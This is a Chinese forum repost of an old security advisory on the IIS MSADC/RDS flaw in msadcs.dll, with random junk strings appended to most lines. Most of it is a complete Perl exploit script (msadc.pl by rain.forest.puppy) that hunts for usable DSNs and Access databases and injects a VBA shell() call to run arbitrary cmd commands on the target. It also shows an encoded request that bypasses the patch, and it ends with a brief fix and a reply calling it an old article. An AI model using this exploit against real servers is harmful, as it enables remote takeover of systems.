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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)  i) 2))C  
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涉及程序: L, {rMLM%  
Microsoft NT server ?&"^\p  
=GQ^uVf1  
描述: IPO[J^#Me  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 KCk?)Qv  
_=L;`~=C9e  
详细: 30_un  
如果你没有时间读详细内容的话,就删除: CJ?gjV6  
c:\Program Files\Common Files\System\Msadc\msadcs.dll DVhTb  
有关的安全问题就没有了。 IMGqJc,7  
l;BX\S  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ,8I AhQa  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 {% _j~  
关于利用ODBC远程漏洞的描述,请参看: M_1Tx  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @LKG\zYBu  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 $a^isd4  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp "F"_G  
HqdJdWl#"  
这里不再论述。 &^IcL!t[  
*>'2$me=  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: JYd7@Msfc  
9*KMbd ^T  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ~u0xXfv#  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! % kx ^/DH  
g?~Tguv  
5)yOw|Bd  
#将下面这段保存为txt文件,然后: "perl -x 文件名" P;[Y42\z|  
yvz?4m"_yB  
#!perl -2& i)S0R  
# 4C1FPrh  
# MSADC/RDS 'usage' (aka exploit) script cVay=5].  
# 8*yo7q&  
# by rain.forest.puppy rAx"~l.=  
# =x^l[>sz  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me gKN}Of@^1  
# beta test and find errors! i7nL_N  
h.V]fS  
use Socket; use Getopt::Std; d;~ 3P  
getopts("e:vd:h:XR", \%args); fYhR#FVI  
*AH^%!kVP  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 7%9)C[6NSs  
o-~~,n\  
if (!defined $args{h} && !defined $args{R}) { |qlS6Aln  
print qq~ 85D^@{  
Usage: msadc.pl -h <host> { -d <delay> -X -v } "#pzZ)Zh  
-h <host> = host you want to scan (ip or domain) HK0::6n{  
-d <seconds> = delay between calls, default 1 second mF'-Is  
-X = dump Index Server path table, if available Xlv#=@;O]  
-v = verbose 1TNz&=e  
-e = external dictionary file for step 5 3Q"F(uE v^  
K 3Yw8t2J  
Or a -R will resume a command session PW%1xHLfk  
A XBkJ'jd  
~; exit;} 5Lsm_"0  
[q-;/ed  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; o\ngR\>  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} s>|Z7[*  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 8xF)_UV  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 5VR.o!h3I  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} r<*O  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } %bP~wl~  
5vTv$2@  
if (!defined $args{R}){ $ret = &has_msadc; ; 8P_av}C  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} fcRj  
r C_d$Jv  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" -Z%F mv8  
. "cmd /c "; !4R>O6k   
$in=<STDIN>; chomp $in; V+lRi"m?|  
$command="cmd /c " . $in ; 4xm&pQo{V6  
iJdP>x  
if (defined $args{R}) {&load; exit;} l'U1 01M>F  
s^w\zzYb  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ITyzs4"VV  
&try_btcustmr; vwKw?Z0%J  
L=,OZ9aA  
print "\nStep 2: Trying to make our own DSN..."; W h| L  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 0 y< k][  
eC~ jgB  
print "\nStep 3: Trying known DSNs..."; :pwa{P  
&known_dsn; -!c IesK;<  
+?;j&p  
print "\nStep 4: Trying known .mdbs..."; IX9K.f  
&known_mdb; 1otspOy  
@,k7xm$u  
if (defined $args{e}){ ga-{!$b*  
print "\nStep 5: Trying dictionary of DSN names..."; IAI(Ix  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 6lsL^]7  
*Bs^NU.  
print "Sorry Charley...maybe next time?\n"; %e{(twp  
exit; ivfXat-  
zmI5"K"'F  
############################################################################## 3jF|Ic  
p1D()-  
sub sendraw { # ripped and modded from whisker (/K5!qh  
sleep($delay); # it's a DoS on the server! At least on mine... 1}!L][(  
my ($pstr)=@_; =EW3&+Lt  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || /7gi/uh~-(  
die("Socket problems\n"); -es"0wS<u  
if(connect(S,pack "SnA4x8",2,80,$target)){ DLi?'K3t  
select(S); $|=1; =_ y\Y@J  
print $pstr; my @in=<S>; !\;:36B#6  
select(STDOUT); close(S); T C8`JU=wV  
return @in; mV?&%>*(f  
} else { die("Can't connect...\n"); }} rJQ=9qn\  
Jx$iwu  
############################################################################## R"+wih  
+K^h!d]  
sub make_header { # make the HTTP request ,r=re!QI7  
my $msadc=<<EOT 3]/.\(2  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 +TN^NE  
User-Agent: ACTIVEDATA tPU-1by$  
Host: $ip bLbR IY"l  
Content-Length: $clen s<vs:jna  
Connection: Keep-Alive t`5j4bdG  
zA s&%OjG  
ADCClientVersion:01.06 A59gIp*>  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 9tK>gwb  
^e%}[q[>|  
--!ADM!ROX!YOUR!WORLD! A W HU'  
Content-Type: application/x-varg r`6:Q&&  
Content-Length: $reqlen 5& !'^!  
XP-C  
EOT |]W2EV ,b  
; $msadc=~s/\n/\r\n/g; #?Mj$ZB  
return $msadc;} b5pMq$UVL  
~Ky4+\6o>  
############################################################################## uZIJoT  
8>NwCjN  
sub make_req { # make the RDS request !msNEE@[  
my ($switch, $p1, $p2)=@_; {%b }Z2  
my $req=""; my $t1, $t2, $query, $dsn; Hi7y(h?wj  
lb~E0U`\E`  
if ($switch==1){ # this is the btcustmr.mdb query rk|@B{CA;  
$query="Select * from Customers where City=" . make_shell(); XErUS80  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . *1^$.Q&  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} `8:Kp  
!tNd\ }@  
elsif ($switch==2){ # this is general make table query ;..o7I  
$query="create table AZZ (B int, C varchar(10))"; 1] #9  
$dsn="$p1";} *Zbuq8>  
G[Tl%w  
elsif ($switch==3){ # this is general exploit table query WeMAe w/d  
$query="select * from AZZ where C=" . make_shell(); A:# k  
$dsn="$p1";} =Z,5$6%)  
M#,Q ^rH#  
elsif ($switch==4){ # attempt to hork file info from index server H&4~Uo.5  
$query="select path from scope()"; Rc[0aj:  
$dsn="Provider=MSIDXS;";} idc4Cf+4  
A\QJLWBv^$  
elsif ($switch==5){ # bad query 7:Zt uc]  
$query="select"; '6-$Xq0^E  
$dsn="$p1";} o 3N]`xD'  
$_D6_|HK  
$t1= make_unicode($query); 6f)2F< 7  
$t2= make_unicode($dsn);  HpW 42  
$req = "\x02\x00\x03\x00"; KE}H&1PjU  
$req.= "\x08\x00" . pack ("S1", length($t1)); #sB,1"  
$req.= "\x00\x00" . $t1 ; 9&Ne+MY^%  
$req.= "\x08\x00" . pack ("S1", length($t2)); 7J*N_8?2  
$req.= "\x00\x00" . $t2 ; ?+2b(2&MXE  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; g(hOg~S\E  
return $req;} '#\1uXM1U?  
'g)n1 {  
############################################################################## U|@V 74  
d=3'?l`  
sub make_shell { # this makes the shell() statement _yH`t[  
return "'|shell(\"$command\")|'";} T!2=*~A  
jqnCA<G~B-  
############################################################################## 3 hKBc0  
}< 5F  
sub make_unicode { # quick little function to convert to unicode C~4PE>YtTv  
my ($in)=@_; my $out; +wO#'D  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } pz|'l:v^  
return $out;} ~DF:lqwWP  
TNwK da+  
############################################################################## $m| V :/  
v;EQ, NL  
sub rdo_success { # checks for RDO return success (this is kludge) -db75=  
my (@in) = @_; my $base=content_start(@in); \3XqHf3|o  
if($in[$base]=~/multipart\/mixed/){ ^%>kO,  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} m D58T2 Z  
return 0;} =L-I-e97@  
F<&!b2)ML  
############################################################################## , YW|n:X  
;xYNX  
sub make_dsn { # this makes a DSN for us s!+ pL|  
my @drives=("c","d","e","f"); ?]O7Ao  
print "\nMaking DSN: "; kv{}C)kt3  
foreach $drive (@drives) { Vw{*P2v)  
print "$drive: "; g);^NAA  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 0?DC00O  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" EbY,N:LK  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ';B#Gx  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ,&^3Z  
return 0 if $2 eq "404"; # not found/doesn't exist iw9Q18:I}  
if($2 eq "200") { 5F"|E-;  
foreach $line (@results) { =aG xg57  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} - y AQ  
} return 0;} Q \hY7Xq'  
s)J(/  
############################################################################## p0:kz l4$  
OO) ~HV4\  
sub verify_exists { ]0V}D,V($  
my ($page)=@_; 'jg3  
my @results=sendraw("GET $page HTTP/1.0\n\n"); U7 @AC}.+  
return $results[0];} vGy8Qu>  
=EP13J  
############################################################################## K=::)/{P  
zYER  
sub try_btcustmr { lSwcL  
my @drives=("c","d","e","f"); _fk#<  
my @dirs=("winnt","winnt35","winnt351","win","windows"); &53]sFZ  
}_'IE1bA  
foreach $dir (@dirs) { W_|0y4QOo  
print "$dir -> "; # fun status so you can see progress / ~ %KVe  
foreach $drive (@drives) { `>C<}xO  
print "$drive: "; # ditto 2x]>l? 5b  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; `fNpY#QsN  
$reqlenlen=length( "$reqlen" ); 8IQtz2  
$clen= 206 + $reqlenlen + $reqlen; A7_4 .VH  
ZP\M9Ja  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); bm~W EX  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} =wWpP-J&  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} {Ro2ouQ!V  
s ^Nw%KAv  
############################################################################## - YqYcer  
rqPo)AL  
sub odbc_error { d*8 $>GA  
my (@in)=@_; my $base; `r"+644  
my $base = content_start(@in); gV;H6"  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this e}Vw!w  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; B!]2Se2G  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; !|hoYU>@2L  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; =ac_,]z  
return $in[$base+4].$in[$base+5].$in[$base+6];} (& "su3z  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; MM_k ]-7  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . |077Sf|  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}  fE f_F r  
Qj{8?lew  
############################################################################## +j_ ;(Gw7  
>^Q&nkB"B  
sub verbose { {6;9b-a]  
my ($in)=@_; H<hVTc{K  
return if !$verbose; ]B"'}%>ez  
print STDOUT "\n$in\n";} (tah]Bx  
lf{e[!ML'  
############################################################################## 'VyM{:8  
<P[T!gST  
sub save { 9_s6l  
my ($p1, $p2, $p3, $p4)=@_; v,-{Z1N%m  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; K%<j=c  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; xJ^>pg8  
close OUT;} G@FI0\t  
[v7^i_d  
############################################################################## $E<Esf$  
fqX"Lus `=  
sub load { ZRxZume<f  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 00I}o%akO  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ? &G`{Ey  
@p=<IN>; close(IN); E1dD7r\  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ^'CPM6J  
$target= inet_aton($ip) || die("inet_aton problems"); n~"$^Vr  
print "Resuming to $ip ..."; <?-YTY|  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; w{[=l6L m  
if($p[1]==1) { f0<hE2  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 2]GdD*  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; =ph&sn$;L  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); CTt vyr  
if (rdo_success(@results)){print "Success!\n";} rk+#GO{  
else { print "failed\n"; verbose(odbc_error(@results));}} ~7~~S*EQ  
elsif ($p[1]==3){ ](tx<3h  
if(run_query("$p[3]")){ {2/LRPT  
print "Success!\n";} else { print "failed\n"; }} <DKS+R  
elsif ($p[1]==4){ 5$DHn ]  
if(run_query($drvst . "$p[3]")){ q"O.Cbk  
print "Success!\n"; } else { print "failed\n"; }} |b-9b&  
exit;} `p;eIt  
i|w8.}0  
############################################################################## Wcb7 ;~K  
j?y LDLj  
sub create_table { NaVQ9ku7VW  
my ($in)=@_; F(4?tX T  
$reqlen=length( make_req(2,$in,"") ) - 28; ,fK3ZC  
$reqlenlen=length( "$reqlen" ); "|;:>{JC  
$clen= 206 + $reqlenlen + $reqlen; lzw3=H  
my @results=sendraw(make_header() . make_req(2,$in,"")); ,NnhHb2\  
return 1 if rdo_success(@results); sK{l 9  
my $temp= odbc_error(@results); verbose($temp); +iRq8aS_  
return 1 if $temp=~/Table 'AZZ' already exists/; V fv@7@q  
return 0;} 56^ +;^f^`  
M02uO`Y9  
############################################################################## a#mNE*Dg  
F'g Vzf  
sub known_dsn { SH*C"  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go :[ k4Z]t8  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", j1_ @qns{  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", <;E  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); D9`0Dr}/2  
kb[P\cRa  
foreach $dSn (@dsns) { iA8U Yd3Q  
print "."; ~m|Mg9-  
next if (!is_access("DSN=$dSn")); >=]'hyn]]  
if(create_table("DSN=$dSn")){ C6O8RHg  
print "$dSn successful\n"; z0|&W&&D  
if(run_query("DSN=$dSn")){ xs\!$*R  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {  K;LZ-  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ? uYu`Ojzr  
*~m+Nc`D,N  
############################################################################## v9Xp97J2  
\Mg`(,kwe  
sub is_access { >iS`pb  
my ($in)=@_; wApMzZ(X2y  
$reqlen=length( make_req(5,$in,"") ) - 28; LL|7rS|o  
$reqlenlen=length( "$reqlen" ); ,J`'Y+7W  
$clen= 206 + $reqlenlen + $reqlen; dw.F5?j`b  
my @results=sendraw(make_header() . make_req(5,$in,"")); Wf{O[yL*  
my $temp= odbc_error(@results); sA gKg=)  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ZeG_en ;  
return 0;} m*$|GW9  
P2nft2/eu?  
############################################################################## 2e$w?W0^  
P"<U6zM\sP  
sub run_query { Ou{v/'9z,  
my ($in)=@_; ##Z_QB(;  
$reqlen=length( make_req(3,$in,"") ) - 28; 7' S@3   
$reqlenlen=length( "$reqlen" ); ^F:k3,_[  
$clen= 206 + $reqlenlen + $reqlen; /y^7p9Z`  
my @results=sendraw(make_header() . make_req(3,$in,"")); jy]JiQ B  
return 1 if rdo_success(@results); `DT3x{}_S  
my $temp= odbc_error(@results); verbose($temp); 8k(P,o  
return 0;} upeU52@\  
>J|]moSVA  
############################################################################## -hkQ2[Ew#  
[:^-m8QC  
sub known_mdb { $9S(_xdI&  
my @drives=("c","d","e","f","g"); Y?ez9o:/#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Rq[ M29  
my $dir, $drive, $mdb; Q,&/V_  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; e^ lWR]v  
]v#r4Ert  
# this is sparse, because I don't know of many c1%H4j4/  
my @sysmdbs=( "\\catroot\\icatalog.mdb", CRbdAqofV  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", _ Ro!"YVX  
"\\system32\\certmdb.mdb", l2;CQ7  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% E~LT b) !  
9b?SHzAa  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", nenU)*o  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ~EK'&Y"1  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", O5H9Y}i]  
"\\cfusion\\cfapps\\security\\realm_.mdb", q5>v'ZSo  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", F@R1:M9*  
"\\cfusion\\database\\cfexamples.mdb", 3s"0SLS4  
"\\cfusion\\database\\cfsnippets.mdb", PvGDTYcKp  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ?BhMjsy.  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", P>9aI/d9  
"\\cfusion\\brighttiger\\database\\cleam.mdb", h^j?01*Et  
"\\cfusion\\database\\smpolicy.mdb", 1^i Pji/  
"\\cfusion\\database\cypress.mdb", M>M`baM1  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", erVO|<%=R  
"\\website\\cgi-win\\dbsample.mdb", TNQP" 9[?  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", s}pIk.4ot!  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" D1nq2GwS  
); #these are just w,R[C\#J  
foreach $drive (@drives) { 1Z{ZV.!  
foreach $dir (@dirs){ 3=W!4  
foreach $mdb (@sysmdbs) { 9o>8o  
print "."; Z'H5,)j0R  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Jk0r&t7  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; .rPn5D Y  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ %r4 q8-  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 6i0A9SN  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ZylJp8U  
7OjR._@  
foreach $drive (@drives) { w,Ee>cV]a  
foreach $mdb (@mdbs) { v:+ ~9w+  
print "."; !45.puL0  
if(create_table($drv . $drive . $dir . $mdb)){ 7 bDHXn  
print "\n" . $drive . $dir . $mdb . " successful\n"; wu"&|dt  
if(run_query($drv . $drive . $dir . $mdb)){ b=3H  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; _,</1~.  
} else { print "Something's borked. Use verbose next time\n"; }}}} xG;-bJu  
} D/h/Y) Y  
Jjl`_X$CB  
############################################################################## )Fb>8<%  
4[r/}/iGo  
sub hork_idx { fr!Pj(Q1  
print "\nAttempting to dump Index Server tables...\n"; jF[ 1za  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; U\rh[0  
$reqlen=length( make_req(4,"","") ) - 28; y,pZTlE  
$reqlenlen=length( "$reqlen" ); N?X~w <  
$clen= 206 + $reqlenlen + $reqlen; |pa$*/!NT  
my @results=sendraw2(make_header() . make_req(4,"","")); uytE^  
if (rdo_success(@results)){ Et_V,s<|  
my $max=@results; my $c; my %d; "[:iXRu  
for($c=19; $c<$max; $c++){ k<+0o))  
$results[$c]=~s/\x00//g; S.!UPkWH  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; I5h[%T  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; [%&ZPJT%i  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; % >;#9"O4  
$d{"$1$2"}="";} XR!us/U`a  
foreach $c (keys %d){ print "$c\n"; } h_d<!  
} else {print "Index server doesn't seem to be installed.\n"; }} CkswJ:z)sc  
.G o{1[  
############################################################################## F7")]q3I~  
; O<9|?  
sub dsn_dict { ?JxbSK#  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); "`[!Lz  
while(<IN>){ tTU=+*Io  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; P9T5L<5  
next if (!is_access("DSN=$dSn")); .Yw'oYnS  
if(create_table("DSN=$dSn")){ F]O$(7*  
print "$dSn successful\n"; Su 5>$  
if(run_query("DSN=$dSn")){ ^}f -!nf[  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { fh^lO ^  
print "Something's borked. Use verbose next time\n";}}} @xc',I  
print "\n"; close(IN);} :R.&`4=X  
(RtueEb.~E  
############################################################################## rWh6RYd<T  
Q?AmOo-a  
sub sendraw2 { # ripped and modded from whisker N$[$;Fm:  
sleep($delay); # it's a DoS on the server! At least on mine... lg pW@g  
my ($pstr)=@_; _bD/D!|  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || =+w*gDr  
die("Socket problems\n"); ;L&TxO>#J  
if(connect(S,pack "SnA4x8",2,80,$target)){ E\m5%bK\B  
print "Connected. Getting data"; M,}|tsL  
open(OUT,">raw.out"); my @in; .@Ut?G  
select(S); $|=1; print $pstr; pWu LfX  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 34!dYr%  
close(OUT); select(STDOUT); close(S); return @in; >MJg ,  
} else { die("Can't connect...\n"); }} Dup;e&9g  
.d/: 30Y  
############################################################################## PQ|69*2G  
7w;O}axI  
sub content_start { # this will take in the server headers 2BCtJ`S`  
my (@in)=@_; my $c; 5sPywk{  
for ($c=1;$c<500;$c++) { LI)!4(WH  
if($in[$c] =~/^\x0d\x0a/){ , *qCf@$I  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } +\Q?w?DE|  
else { return $c+1; }}} bxK(9.  
return -1;} # it should never get here actually E+C5 h ;p&  
i@NqC;~;  
############################################################################## 4 g. bR  
1009ES7*  
sub funky {  'Pvm8t  
my (@in)=@_; my $error=odbc_error(@in); - y9>;6  
if($error=~/ADO could not find the specified provider/){ n}xhW'3hU=  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ?OdJqw0,G  
exit;} |#l=  
if($error=~/A Handler is required/){ }IEb yb  
print "\nServer has custom handler filters (they most likely are patched)\n"; aCV4AyG  
exit;} L!_ZY  
if($error=~/specified Handler has denied Access/){  ;v  
print "\nServer has custom handler filters (they most likely are patched)\n"; jEXW  
exit;}} y$81Z q  
,&U4a1%i#c  
############################################################################## Hqh6:RuL  
V 0nn4dVO  
sub has_msadc { 2k6 X,  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 1+`l7'F  
my $base=content_start(@results); ^w~23g.  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); qz4^{  
return 0;} CXtU"X  
#GaxZ  
######################## |lH;Fq{\  
<\zCpkZ'B  
D}3XFuZs_  
解决方案: 6a}"6d/sTL  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll $>U # W:  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ECa$vvK m  
TgU**JN)  
拿出来充数 哈哈
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